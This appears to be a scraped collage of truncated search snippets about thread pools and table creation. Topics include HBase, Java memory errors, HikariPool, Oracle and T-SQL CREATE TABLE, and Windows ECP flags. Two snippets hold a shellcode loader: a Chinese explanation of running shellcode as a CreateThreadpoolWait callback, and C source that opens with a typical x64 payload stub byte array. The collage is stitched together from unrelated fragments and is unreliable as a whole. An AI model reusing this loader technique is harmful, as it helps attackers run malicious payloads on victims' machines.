使用CreateThreadpoolWait函数创建一个线程池等待回调,我们只需要关心第一个参数也就是等待完成或者超时后要执行的回调函数,这里我们将该回调函数设置为shellcode。 使用SetThreadpoolWait函数将等待对象和第一步创建的句柄绑定,一个等待对象只能等待几个句柄。当句柄对象变成signaled或超时后会执行等待对象的回调函数。 使...
One way of avoiding this situation is to offload processing of these types of requests to a worker thread, releasing the IIS thread back to the pool so that it can be used for another request. This basic sample demonstrates how to implement this in an ISAPI dll....
#include<windows.h>#include<threadpoolapiset.h>unsignedcharshellcode[]="\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"...
1、最简单的创建HBase表 查看,当前已创建有的表 hbase(main):055:0>list TABLE test_table test_table2 2 row(s) in 1.1030 seconds => ["test_table", "test_table2"] hbase(main):056:0> 1packagezhouls.bigdata.HbaseProject.Pool;23importjava.io.IOException;45importzhouls.bigdata.HbaseProje...
6 java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:607) 7 java.lang.Thread.run(Thread.java:774) 1. 2. 3. 4. 5. 6. 7. 8. 9. java.lang.OutOfMemoryError pthread_create (1040KB stack) failed: Try again ...
[HikariPool-1housekeeper]but has failed to stop it.This is very likely to create a memory leak 其实看日志发现, HikariPool 资源最后是释放了的, 只不过是稍微晚了一点 网上关于这个问题的解决方案很少, 难道只有我遇到了么. 是我哪里配置的不好, 导致的吗? 我写的 demo 是最简单的 SpringBoot + my...
awaitAsyncSaveCompletion(filename); } PImage vessel = createImage(0, 0, ARGB); // if the image loading thread pool hasn't been created, create it if (requestImagePool == null) { ThreadFactory factory = new ThreadFactory() { public Thread newThread(Runnable r) { return new Thread(r, ...
To create a relational table in your own schema, you must have the CREATE TABLE system privilege. To create a table in another user's schema, you must have CREATE ANY TABLE system privilege. Also, the owner of the schema to contain the table must have either space quota on the ...
ATOMIC_CREATE_ECP_IN_FLAG_SPARSE_SPECIFIED Solicita que se establezca la marca dispersa en el archivo. ATOMIC_CREATE_ECP_IN_FLAG_REPARSE_POINT_SPECIFIED Solicita que se establezca un punto de reanálisis en el archivo. ATOMIC_CREATE_ECP_IN_FLAG_EOF_SPECIFIED Solicita que se establezca un ...
This syntax is not supported by serverless SQL pool in Azure Synapse Analytics. CTAS is supported in the Warehouse in Microsoft Fabric. Transact-SQL syntax conventions Syntax syntaxsql CREATETABLE{database_name.schema_name.table_name|schema_name.table_name|table_name} [ (column_name[ ,...n ]...